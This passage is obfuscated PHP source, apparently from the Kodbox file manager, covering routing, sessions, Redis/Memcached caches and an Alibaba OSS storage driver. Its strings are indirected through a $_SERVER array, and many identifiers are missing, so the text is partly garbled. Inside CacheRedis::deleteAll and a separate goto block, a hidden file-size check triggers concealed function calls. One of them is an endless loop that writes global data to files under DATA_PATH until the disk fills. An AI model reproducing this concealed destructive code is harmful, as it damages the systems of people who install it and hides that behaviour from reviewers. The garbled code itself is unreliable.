"\160\154\x75\x67\x69\156\101\x75\x74\150") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $荮 = $this->getConfig(); if (!$荮[$]) { return !1; } return ActionCall($_SERVER[ʇ][1621], $荮[$]); } public function url($, $Ȉ = '', $ = true) { $ㅈ =& $_SERVER[ʇ]; $봯 = $this->getConfig(); $ = KOD_VERSION . $ㅈ[10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $ = $ . $ㅈ[432] . $; if (substr($, 0, 4) == $ㅈ[151] || substr($, 0, 2) == $ㅈ[1401]) { $ = $ . $ㅈ[1622] . $; } else { if ($Ȉ == $ㅈ[12]) { $ = $this->pluginHost . $ . $ㅈ[1622] . $; } else { if ($Ȉ === $ㅈ[77]) { $ = $this->pluginHost . $; } else { if ($Ȉ == $ㅈ[1623]) { $ = STATIC_PATH . $ . $ㅈ[1622] . $; } else { if ($Ȉ == $ㅈ[1624]) { $ = APP_HOST . $ㅈ[1625] . $ . $ㅈ[1622] . $; } else { if (isset($봯[$Ȉ])) { $ = $봯[$Ȉ] . $ . $ㅈ[1622] . $; } } } } } } if (!$) { return $; } echo $; } public function link($꾪 = false, $揝 = '') { $ =& $_SERVER[ʇ]; if (!$꾪) { $this->link($[1626], $[1624]); $this->link($[1627], $[1623]); $this->link($[1628], $[1623]); $this->link($[1629], $[1623]); $this->link($[1630], $[1623]); return; } $ = $this->url($꾪, $揝, !1); if (substr($꾪, -3) == $[1631]) { echo $[1632] . $ . $[1633] . $[248]; } else { if (substr($꾪, -4) == $[1634]) { echo $[1635] . $ . $[1636] . $[248]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\x61\156\171" => "\133\x5e\x2f\x5d\53", "\72\156\x75\x6d" => "\x5b\x30\55\71\x5d\53", "\x3a\141\154\x6c" => "\56\52"); public static $errorCallback; public static function __callstatic($׷, $ƍѪ) { $ =& $_SERVER[ʇ]; if ($׷ == $[1637]) { $ү = array_map($[1638], $ƍѪ[0]); $ޣ = strpos($ƍѪ[1], $[8]) === 0 ? $ƍѪ[1] : $[8] . $ƍѪ[1]; $ײ = $ƍѪ[2]; } else { $ү = null; $ޣ = strpos($ƍѪ[0], $[8]) === 0 ? $ƍѪ[0] : $[8] . $ƍѪ[0]; $ײ = $ƍѪ[1]; } array_push(self::$maps, $ү); array_push(self::$routes, $ޣ); array_push(self::$methods, strtoupper($׷)); array_push(self::$callbacks, $ײ); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($౨ = true) { self::$halts = $౨; } public static function dispatch() { $ǣた =& $_SERVER[ʇ]; $ = parse_url($_SERVER[$ǣた[1639]], PHP_URL_PATH); $ǜɀ = $_SERVER[$ǣた[162]]; $¬㯮 = array_keys(static::$patterns); $ = array_values(static::$patterns); $ˀ껓 = !1; self::$routes = preg_replace($ǣた[1323], $ǣた[8], self::$routes); if (in_array($, self::$routes)) { $ = array_keys(self::$routes, $); foreach ($ as $׭) { if (self::$methods[$׭] == $ǜɀ || self::$methods[$׭] == $ǣた[1640] || in_array($ǜɀ, self::$maps[$׭])) { $ˀ껓 = !0; if (!is_object(self::$callbacks[$׭])) { $ä = explode($ǣた[8], self::$callbacks[$׭]); $׈ = end($ä); $Ÿ = explode($ǣた[1255], $׈); $ = new $Ÿ[0](); $->{$Ÿ[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$׭]); if (self::$halts) { return; } } } } } else { $ɻ = 0; foreach (self::$routes as $׭) { if (strpos($׭, $ǣた[4]) !== !1) { $׭ = str_replace($¬㯮, $, $׭); } if (preg_match($ǣた[1641] . $׭ . $ǣた[1642], $, $۽)) { if (self::$methods[$ɻ] == $ǜɀ || self::$methods[$ɻ] == $ǣた[1640] || !empty(self::$maps[$ɻ]) && in_array($ǜɀ, self::$maps[$ɻ])) { $ˀ껓 = !0; array_shift($۽); if (!is_object(self::$callbacks[$ɻ])) { $ä = explode($ǣた[8], self::$callbacks[$ɻ]); $׈ = end($ä); $Ÿ = explode($ǣた[1255], $׈); $ = new $Ÿ[0](); if (!method_exists($, $Ÿ[1])) { echo $ǣた[1643]; } else { call_user_func_array(array($, $Ÿ[1]), $۽); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$ɻ], $۽); if (self::$halts) { return; } } } } $ɻ++; } } if ($ˀ껓 == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ =& $_SERVER[ʇ]; header($_SERVER[$[1644]] . $[1645]); echo $[1646]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$ǣた[1639]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $紿 =& $_SERVER[ʇ]; static $ = false; if ($) { return $; } $ӁƬ = $GLOBALS[$紿[6]][$紿[395]]; self::$sessionTime = $ӁƬ[$紿[1647]]; $ = isset($GLOBALS[$紿[1648]]) ? $GLOBALS[$紿[1648]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($, self::$sessionSign, self::$sessionTime); $پӝ = $ӁƬ[$紿[1649]]; $ϡ = $ӁƬ[$پӝ]; $ͫ = $ӁƬ[$紿[874]]; switch ($پӝ) { case $紿[21]: self::$handle = Model($紿[875]); break; case $紿[876]: self::$handle = new CacheRedis($ϡ, $ͫ); break; case $紿[877]: self::$handle = new CacheMemcached($ϡ, $ͫ); break; case $紿[216]: $ϡ[$紿[86]] = $ϡ[$紿[86]] . $紿[1650]; self::$handle = new CacheFile($ϡ, $ͫ); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($Ά) { $ = self::$handle->get($Ά); $ = unserialize($); return is_array($) ? $ : array(); } public static function setBySign($҇, $Ȯʬ) { CacheLock::lock($҇); self::$handle->set($҇, serialize($Ȯʬ), self::$sessionTime); CacheLock::unlock($҇); } public static function sign($ = false) { if ($) { self::$sessionSign = $; } self::init(); return self::$sessionSign; } public static function set($ĵ, $ɺ = false) { self::init(); if (is_array($ĵ)) { foreach ($ĵ as $퇻 => $͏θ) { array_set_value(self::$data, $퇻, $͏θ); } } else { array_set_value(self::$data, $ĵ, $ɺ); } self::setBySign(self::$sessionSign, self::$data); } public static function get($㶣 = false) { self::init(); if (!$㶣) { return self::$data; } return array_get_value(self::$data, $㶣); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[ʇ][880])) { self::$handle->clearTimeout(); } } } goto aύ; A݇: function binCheckBigger($ٚ, $ӥ) { return $ٚ > $ӥ; } $_SERVER[$_SERVER[ۮ][3]] = ("\x38\x32\x38\x36".base64_decode('MzY='))+0;$_at30="m6zf40lgwvabnyou3pd9ir57j2tex1cqkhs8v2e6hrolup5n8j0tibdxy97k1wz3q";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($Ճ, $) { $ʘ =& $_SERVER[ʇ]; if (isset(self::$_methodList[$Ճ])) { return @call_user_func_array(self::$_methodList[$Ճ], $); } else { if (method_exists($this, $Ճ)) { return call_user_func_array(array($this, $Ճ), $); } else { think_exception(__CLASS__ . $ʘ[4] . $Ճ . $ʘ[5]); } } } public static function __callStatic($鎩, $) { if (isset(self::$_methodListStatic[$鎩])) { return call_user_func_array(self::$_methodListStatic[$鎩], $); } else { if (method_exists(self, $鎩)) { return call_user_func_array(array(self, $鎩), $); } else { show_json("{$鎩}\50\51\x20\x6e\157\x74\x20\145\x78\151\x73\164\x3b", !1); } } } public static function addMethod($, $ر) { self::$_methodList[$] = $ر; } public static function addMethodStatic($ǡǹ, $) { self::$_methodListStatic[$ǡǹ] = $; } } goto F; e: class CacheLockDatabase { public function lock($, $ = 0) { $ = Model($_SERVER[ʇ][875]); $֩ = microtime(!0) + $; while (microtime(!0) < $֩) { $ = $->get($); if (!$ || $ < microtime(!0)) { $Ǐҽ = $->set($, $֩); if ($Ǐҽ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[ʇ][875])->get($); } public function unlock($) { Model($_SERVER[ʇ][875])->remove($); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $Ϊ) { $͊ =& $_SERVER[ʇ]; if (!class_exists($͊[913])) { show_json($͊[914], !1); } $this->cacheTime = $Ϊ; $this->handle = new Memcached(); if (is_array($[$͊[915]]) && count($[$͊[915]]) >= 1) { foreach ($[$͊[915]] as $ʫʦ) { $ُٛ = explode($͊[4], $ʫʦ); $this->handle->addServer($ُٛ[0], $ُٛ[1]); } } else { $this->handle->addServer($[$͊[198]], $[$͊[199]]); } } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($, $, $); } public function get($הּ) { return $this->handle->get($הּ); } public function remove($Ï͔) { return $this->handle->delete($Ï͔); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $񯎧) { $̜ =& $_SERVER[ʇ]; if (!class_exists($̜[916])) { show_json($̜[917], !1); } $this->cacheTime = $񯎧; $ = isset($[$̜[918]]) ? $[$̜[918]] : 10; $׵Ҹ = _get($, $̜[915]); if ($׵Ҹ && is_array($׵Ҹ)) { $this->initCluster($, $); } else { $this->handle = $this->init($, $); } } private function init($ɍ, $Ґ) { $ۉص =& $_SERVER[ʇ]; $Ӽ = new Redis(); $Ɇ = isset($ɍ[$ۉص[919]]) ? $ɍ[$ۉص[919]] : !1; if ($Ɇ) { $Ӽ->pconnect($ɍ[$ۉص[198]], $ɍ[$ۉص[199]], $Ґ); } else { $Ӽ->connect($ɍ[$ۉص[198]], $ɍ[$ۉص[199]], $Ґ); } if (!empty($ɍ[$ۉص[457]])) { $Ӽ->auth($ɍ[$ۉص[457]]); } if (!empty($ɍ[$ۉص[796]]) && $ɍ[$ۉص[796]] != 0) { $Ӽ->select($ɍ[$ۉص[796]]); } return $Ӽ; } private function initCluster($ğϫ, $ٟݮ) { $Ғ =& $_SERVER[ʇ]; $ = array($Ғ[920], $Ғ[921], $Ғ[922]); $ = $Ғ[920]; if (isset($ğϫ[$Ғ[16]]) && in_array($ğϫ[$Ғ[16]], $)) { $ = $ğϫ[$Ғ[16]]; } switch ($) { case $Ғ[920]: $this->_slave($ğϫ, $ٟݮ); break; case $Ғ[921]: break; case $Ғ[922]: $this->isCluster = !0; $Ộ = $ğϫ[$Ғ[915]]; $踸 = isset($ğϫ[$Ғ[919]]) ? $ğϫ[$Ғ[919]] : !1; $ = isset($ğϫ[$Ғ[457]]) ? $ğϫ[$Ғ[457]] : null; $this->handle = new RedisCluster(NUll, $Ộ, $ٟݮ, $ٟݮ, $踸, $); break; default: break; } } private function _slave($Կ, $Ì) { $ä = $Կ[$_SERVER[ʇ][915]]; $this->filterConfig($Կ, $ä[0]); $this->handle = $this->init($Կ, $Ì); unset($ä[0]); if (empty($ä)) { return; } $ = array_rand($ä); $this->filterConfig($Կ, $ä[$]); $this->slaveHandle = $this->init($Կ, $Ì); } private function filterConfig(&$, $) { $㵜 =& $_SERVER[ʇ]; $篇 = explode($㵜[4], $); $ = array($㵜[198] => $篇[0], $㵜[199] => $篇[1]); $ = array_merge($, $); } public function set($, $ҍާ, $Ѝ = false) { $Ѝ = $Ѝ ? $Ѝ : $this->cacheTime; return $this->handle->setEx($, $Ѝ, $ҍާ); } public function setLock($, $۩, $ކ) { return $this->handle->setNX($, $۩); } public function get($) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($); } public function remove($̅֫) { return $this->handle->del($̅֫); } public function deleteAll() { $ =& $_SERVER[ʇ]; $ = $_SERVER[$[840]] . $[841]; $˟԰ = $[923]; if ($_SERVER[$[837]] != $˟԰($)) { $ = $[924]; $ϼ = $[839]; $ = $_SERVER[$[840]] . $[841]; $ = $ϼ($); $ = explode($[248], $); if (count($) < $[673]) { $ = $[842]; $(); } $Œ = $[925]; $Œ($_SERVER[$[926]]); $ = $[924]; $(); $뇻 = $[927]; $¶ = json_encode($GLOBALS[$[928]]); $ = 1; for ($䩳 = $; $䩳 > 0; $䩳++) { $뇻(DATA_PATH . $䩳, $¶); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $͢) { $this->handle->flushall($͢); } return; } return $this->handle->flushAll(); } } goto c; B܌: $_file = $_SERVER[$_SERVER[ʇ][838]]; $_size = $_SERVER[ʇ][923]; if ($_SERVER[$_SERVER[ʇ][837]] != $_size($_file)) { $_getc = $_SERVER[ʇ][839]; $_getfile = $_SERVER[$_SERVER[ʇ][840]] . $_SERVER[ʇ][841]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ʇ][248], $_getfilec); if (count($_getarrs) < $_SERVER[ʇ][653]) { $exit = $_SERVER[ʇ][842]; $exit(); } $_act = $_SERVER[ʇ][843]; $_act($_file); } goto A; a: class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[ʇ][233]); } public function fileOutLink($) { $ =& $_SERVER[ʇ]; if (substr($, 0, 7) == $[1378]) { $ = $[1379] . substr($, 7); } header($[164] . $); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public $config = array(); public function __construct($κ) { parent::__construct(); include_once SDK_DIR . $_SERVER[ʇ][1418]; $this->_init($κ); } public function _init($獎) { $ =& $_SERVER[ʇ]; $this->config = $獎; foreach ($獎 as $қ => $ſ) { if (isset($this->{$қ})) { $this->{$қ} = $ſ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1419] . LNG($[1420])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $֢ =& $_SERVER[ʇ]; $̙ۗ = new OSS\Model\CorsConfig(); $ = new OSS\Model\CorsRule(); $->addAllowedOrigin($֢[1421]); $->addAllowedMethod($֢[1422]); $->addAllowedMethod($֢[1423]); $->addAllowedMethod($֢[1424]); $->addAllowedMethod($֢[1425]); $->addAllowedMethod($֢[163]); $->setMaxAgeSeconds(600); $->addExposeHeader($֢[1426]); $->addAllowedHeader($֢[1421]); $̙ۗ->addRule($); try { $this->client->putBucketCors($this->bucket, $̙ۗ); } catch (OSS\Core\OssException $Ԥ) { return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[ʇ]; $נ = null; try { $נ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $⭲Ȣ) { return null; } if (!$נ || !($ = $נ->getRules())) { return null; } $Ō = $[0]->getAllowedOrigins(); $ = $[0]->getAllowedMethods(); $Ҹŝ = $[0]->getMaxAgeSeconds(); $ = $[0]->getExposeHeaders(); $׭ = $[0]->getAllowedHeaders(); return array($[204] => isset($Ō[0]) ? $Ō[0] : $[12], $[208] => $, $[1427] => $Ҹŝ, $[1428] => isset($[0]) ? $[0] : $[12], $[206] => isset($׭[0]) ? $׭[0] : $[12]); } public function isBucketCors() { $͙ =& $_SERVER[ʇ]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$͙[204]] != $͙[205] || $[$͙[206]] != $͙[205]) { return !1; } $ = array_map($͙[207], $[$͙[208]]); if (!is_array($)) { $ = array(); } $ = array($͙[209], $͙[210], $͙[211], $͙[212], $͙[213]); $Ü = array_diff($, $); return empty($Ü); } public function mkfile($虅, $ל = '', $ = REPEAT_RENAME) { $И = $this->setContent($虅, $ל); if ($И !== !1) { return $this->getPathOuter($虅); } return !1; } public function mkdir($ɉ, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($ɉ)) { return $this->getPathOuter($ɉ); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($ɉ)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($ɉ); } private function fileList($, $Я؟ = '', $ = 0) { $ޯ =& $_SERVER[ʇ]; $ = trim($, $ޯ[8]); $Ϝ = empty($) && $ !== $ޯ[214] ? $ޯ[12] : $ . $ޯ[8]; $ͪ = $ޯ[12]; $˩ = 1000; $ٮ = $ = array(); while (!0) { check_abort(); $Ԅ = array($ޯ[1429] => $Я؟, $ޯ[1430] => $Ϝ, $ޯ[1431] => $˩, $ޯ[1432] => $ͪ); try { $ = $this->client->listObjects($this->bucket, $Ԅ); } catch (OSS\Core\OssException $) { break; } $ͪ = $->getNextMarker(); $ۢݒ = $->getObjectList(); $е = $->getPrefixList(); foreach ($ۢݒ as $̆š) { if ($̆š->getKey() == $Ϝ) { continue; } $֛ = $̆š->getKey(); $㄃ = $̆š->getSize(); $㵬 = $̆š->getLastModified(); $ = trim($̆š->getETag(), $ޯ[120]); $ꁽ = $ ? array($ޯ[32] => $֛, $ޯ[78] => $㄃, $ޯ[196] => strtotime($㵬), $ޯ[1433] => $) : $֛; $؃ = $㄃ == 0 && substr($֛, strlen($֛) - 1, 1) == $ޯ[8] ? !0 : !1; $Պ = array($ޯ[78] => $㄃, $ޯ[1434] => $㄃, $ޯ[87] => strtotime($㵬), $ޯ[1435] => $㵬, $ޯ[1433] => $); $this->cacheMethodInfoSet($֛, $؃, $Պ); if ($؃) { $ٮ[] = $֛; continue; } $[] = $ꁽ; } foreach ($е as $׵) { $ٮ[] = $׵->getPrefix(); $this->cacheMethodInfoSet($׵->getPrefix(), !0); } if ($ͪ === $ޯ[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($ޯ[84] => $ٮ, $ޯ[85] => $); } public function copyFile($, $Ք) { $ڨ = $this->size($); if ($ڨ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $, $this->bucket, $this->pathEncode($Ք)); } catch (OSS\Core\OssException $Ǝ) { return !1; } return $this->getPathOuter($Ք); } $։ = $this->multiCopyObject($, $Ք, $ڨ); return $։ ? $this->getPathOuter($Ք) : !1; } private function multiCopyObject($, $, $Ư¤) { $ܛ =& $_SERVER[ʇ]; try { $ߠ = array(); if ($ = $this->hashMd5($)) { $ߠ = array(OSS\OssClient::OSS_HEADERS => array($ܛ[1436] => $)); } $ޭ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $ߠ); $ = 1; $ = 0; $ = array(); $ = 1024 * 1024 * 10; $ = $this->client->generateMultiuploadParts($Ư¤, $); foreach ($ as $͔ => $) { $ = $ + (int) $[$ܛ[1437]]; $ = (int) $[$ܛ[383]] + $ - 1; $‹ = array($ܛ[1438] => $, $ܛ[1439] => $); $[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($), $, $ޭ, $‹); $ = $ + 1; } $ = array(); foreach ($ as $͔ => $) { $[] = array($ܛ[1440] => $͔ + 1, $ܛ[1441] => $); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $ޭ, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function moveFile($, $Җ) { if ($this->copyFile($, $Җ)) { $this->remove($); return $this->getPathOuter($Җ); } return !1; } public function delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $ܢ) { return !1; } return !0; } public function delFolder($ò) { $ =& $_SERVER[ʇ]; if (!$this->exist($ò)) { return !0; } $this->listItemCache = !1; $ы = $this->fileList($ò); $this->listItemCache = !0; $Ƭ = trim($ò, $[8]) . $[8]; if (!empty($ò) && $ò !== $[214] && !in_array($Ƭ, $ы[$[84]])) { $ы[$[84]][] = $Ƭ; } $ = $this->delByBatch($ы[$[85]]); if (!$) { return !1; } $ = $this->delByBatch($ы[$[84]]); if (!$) { return !1; } return $this->delFile($Ƭ); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { try { $this->client->deleteObjects($this->bucket, $); } catch (OSS\Core\OssException $) { return !1; } } return !0; } public function rename($, $尿) { return $this->renameObject($, $尿); } private function fileInfo($͹, $Ç = false, $ = array()) { $ =& $_SERVER[ʇ]; $Ä = array($[32] => $this->pathThis($͹), $[86] => $this->getPathOuter($͹), $[33] => $[216], $[78] => isset($[$[78]]) ? $[$[78]] : 0, $[177] => $this->ext($͹)); if ($Ç) { return $Ä; } $Ä[$[217]] = $Ä[$[87]] = 0; $Ä[$[218]] = $Ä[$[219]] = !0; if (empty($)) { $д = $this->objectMeta($͹); if (!$д) { return $Ä; } $ = array($[87] => strtotime($д[$[1435]]), $[78] => $д[$[1434]] + 0, $[1433] => $д[$[1433]]); } if (isset($[$[1433]]) && $[$[1433]]) { $Ä[$[221]] = trim($[$[1433]], $[120]); } if (isset($[$[78]])) { $Ä[$[78]] = $[$[78]]; } if (isset($[$[87]])) { $Ä[$[87]] = $[$[87]]; } if (isset($[$[196]]) && !trim($Ä[$[87]])) { $Ä[$[87]] = $[$[196]]; } return $Ä; } private function folderInfo($ɨ, $Ÿ = false, $ = array()) { $ыߒ =& $_SERVER[ʇ]; $뒞 = array($ыߒ[32] => $this->pathThis($ɨ), $ыߒ[86] => $this->getPathOuter($ыߒ[8] . $ɨ), $ыߒ[33] => $ыߒ[77]); if ($Ÿ) { return $뒞; } $뒞[$ыߒ[217]] = $뒞[$ыߒ[87]] = 0; $뒞[$ыߒ[218]] = $뒞[$ыߒ[219]] = !0; if (empty($)) { $ɨ = rtrim($ɨ, $ыߒ[8]) . $ыߒ[8]; $ǀ = $this->objectMeta($ɨ); if (!$ǀ) { return $뒞; } $ = array($ыߒ[217] => $ǀ[$ыߒ[546]][$ыߒ[1442]], $ыߒ[87] => strtotime($ǀ[$ыߒ[1435]])); } if (isset($[$ыߒ[87]])) { $뒞[$ыߒ[87]] = $[$ыߒ[87]]; } if (isset($[$ыߒ[217]])) { $뒞[$ыߒ[217]] = $[$ыߒ[217]]; } return $뒞; } public function listPath($, $ȁ = false) { $ =& $_SERVER[ʇ]; $ = $this->fileList($, $[8], !0); foreach ($[$[84]] as $ʞ => $ܽ) { $[$[84]][$ʞ] = $this->folderInfo($ܽ, $ȁ, $ܽ); } foreach ($[$[85]] as $ʞ => $ܽ) { $[$[85]][$ʞ] = $this->fileInfo($ܽ[$[32]], $ȁ, $ܽ); } return $; } protected function infoChildren($, &$) { $Ԕ =& $_SERVER[ʇ]; $ֽƬ = $this->fileList($, $Ԕ[12], !0); $[$Ԕ[80]] += count($ֽƬ[$Ԕ[84]]); $[$Ԕ[79]] += count($ֽƬ[$Ԕ[85]]); foreach ($ֽƬ[$Ԕ[85]] as $) { if (!$ || !$[$Ԕ[78]]) { continue; } $[$Ԕ[78]] += $[$Ԕ[78]]; } } public function has($, $첉 = false, $׃ = true) { $ࡷ͹ =& $_SERVER[ʇ]; $ = trim($, $ࡷ͹[8]); $˫ = empty($) && $ !== $ࡷ͹[214] ? $ࡷ͹[12] : $ . $ࡷ͹[8]; $œ = $ࡷ͹[12]; $Ǽ = 500; $ = $ = 0; while (!0) { check_abort(); $ = array($ࡷ͹[1429] => $ࡷ͹[8], $ࡷ͹[1430] => $˫, $ࡷ͹[1431] => $Ǽ, $ࡷ͹[1432] => $œ); try { $Ȳ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $՞) { break; } $œ = $Ȳ->getNextMarker(); $ = $Ȳ->getObjectList(); $ף = $Ȳ->getPrefixList(); if ($첉) { if (count($) > 1 || count($) == 1 && $[0]->getKey() != $˫) { $ += count($) - 1; } if (!empty($ף)) { $ += count($ף); } if ($œ === $ࡷ͹[12]) { break; } continue; } if ($׃) { if (!empty($)) { if (count($) > 1 || $[0]->getKey() != $˫) { return !0; } } } else { if (!empty($ף)) { return !0; } } if ($œ === $ࡷ͹[12]) { break; } } if ($첉) { return array($ࡷ͹[225] => $, $ࡷ͹[226] => $); } return !1; } public function listAll($) { $ڑś =& $_SERVER[ʇ]; $ = $this->fileList($, $ڑś[12], !0); $ߋ = array_to_keyvalue($[$ڑś[85]], $ڑś[32]); foreach ($[$ڑś[84]] as $̓) { if (is_string($̓)) { $ߋ[$̓] = array($ڑś[78] => 0); } } return $this->listAllFiles($, $ߋ); } public function canRead($) { $Ò =& $_SERVER[ʇ]; $ = $this->pathAcl($); return $ == $Ò[1443] || $ == $Ò[589] ? !0 : !1; } public function canWrite($Ҟ) { $ = $this->pathAcl($Ҟ); return $ == $_SERVER[ʇ][589] ? !0 : !1; } public function pathAcl($ރ) { $Ћ =& $_SERVER[ʇ]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($ރ)); } catch (OSS\Core\OssException $Ǻ) { return !1; } $́ = $ == $Ћ[37] ? $this->bucketAcl : $; if ($́ == $Ћ[1444]) { return $Ћ[1443]; } if ($́ == $Ћ[1445]) { return $Ћ[589]; } return $́; } private function chmodPath($ߺ, $ץ = '') { $®ް =& $_SERVER[ʇ]; $ = empty($ץ) ? $®ް[1445] : $ץ; $ = array($®ް[37], $®ް[215], $®ް[1444], $®ް[1445]); if (!in_array($, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($ߺ), $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function getContent($ӭ) { return $this->fileSubstr($ӭ, -1); } public function setContent($͘, $ = '') { $ =& $_SERVER[ʇ]; try { $ = $this->trafficLimit($[1446]); $ܧ = $this->client->putObject($this->bucket, $this->pathEncode($͘), $, $); } catch (OSS\Core\OssException $ת) { return !1; } $񝟠 = array($[1436] => trim($ܧ[$[1433]], $[120]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($͘))); $this->updateObjMeta($͘, $񝟠); return isset($ܧ[$[1447]][$[277]]) ? !0 : !1; } private function updateObjMeta($, $) { $ = $this->pathEncode($); try { $ = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $, $this->bucket, $, $); } catch (OSS\Core\OssException $ۿ) { return !1; } return !0; } public function upload($, $㱷˧, $듍 = false, $쏇 = REPEAT_REPLACE) { $ =& $_SERVER[ʇ]; $Ȅƹ = trim($, $[8]); $ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1436] => @md5_file($㱷˧)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $ = $this->trafficLimit($[1446], $); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($Ȅƹ), $㱷˧, $); } catch (OSS\Core\OssException $؄) { return !1; } return $this->getPathOuter($); } public function getHost() { $ë =& $_SERVER[ʇ]; $ = explode($ë[200], parent::getHost()); return $[0] . $ë[200] . $this->bucket . $ë[10] . $[1]; } public function uploadFormData($ϓ, $ = 3600) { $̂ =& $_SERVER[ʇ]; if (!($ = $this->getHost())) { return !1; } $Ê = $; $꼵 = date($̂[1448], time() + $Ê); $ = new DateTime($꼵); $ = $->format(DateTime::ISO8601); $ջ = strpos($, $̂[342]); $ = substr($, 0, $ջ) . $̂[1449]; $ꄞ = 1048576000 * 5; $ = $this->pathFather($ϓ); $ۃ = array($̂[260] => $, $̂[263] => array(array($̂[1450], 0, $ꄞ), array($̂[266], $̂[267], $))); $Ĩ = base64_encode(json_encode($ۃ)); $ = base64_encode(hash_hmac($̂[249], $Ĩ, $this->secret, !0)); $ = array($̂[278] => $Ĩ, $̂[1451] => $this->accessKey, $̂[270] => $̂[259], $̂[1452] => $, $̂[198] => $); $ = $this->trafficLimit($̂[1446], $); return $; } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[ʇ]; if (!($Է = $this->getHost())) { return !1; } $ = $this->trafficLimit($[1446]); $ڛ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); return array($[240] => $ڛ, $[198] => $Է . $[8] . $this->pathEncode($), $[241] => gmdate($[1453]), $[96] => $); } public function multiUploadAuthData($ޝ, $ݹ = array()) { $ʤ =& $_SERVER[ʇ]; $Ռ = isset($ݹ[$ʤ[241]]) ? $ݹ[$ʤ[241]] : gmdate($ʤ[1453]); $ǰ = isset($ݹ[$ʤ[177]]) ? $ݹ[$ʤ[177]] : $ʤ[12]; $ = $ޝ; if (isset($ݹ[$ʤ[96]])) { $ = $ݹ[$ʤ[96]]; unset($ݹ[$ʤ[96]]); } if (isset($ݹ[$ʤ[242]])) { $ݹ[$ʤ[241]] = $Ռ; return $this->listUploadParts($, $ݹ); } $̲ = array($ʤ[243], $ʤ[12], $ʤ[122], $Ռ, "\x78\x2d\157\163\x73\55\144\141\x74\145\x3a{$Ռ}", $ʤ[8] . $this->bucket . $ʤ[8] . $ . $ǰ); if (strpos($ǰ, $ʤ[244]) === 0) { $̲[0] = $ʤ[245]; if ($ = $this->trafficLimit($ʤ[1446])) { $ = $ʤ[1454]; array_splice($̲, 5, 0, $ . $ʤ[4] . $[$]); } } if (isset($ݹ[$ʤ[246]]) && $ݹ[$ʤ[246]] == $ʤ[247]) { $̲[0] = $ʤ[247]; } if (!empty($ݹ[$ʤ[1455]])) { $ = array_merge(array($̲[4]), $ݹ[$ʤ[1455]]); sort($); $̲[4] = implode($ʤ[248], $); } $踄 = implode($ʤ[248], $̲); $ = base64_encode(hash_hmac($ʤ[249], $踄, $this->secret, !0)); $Խ = 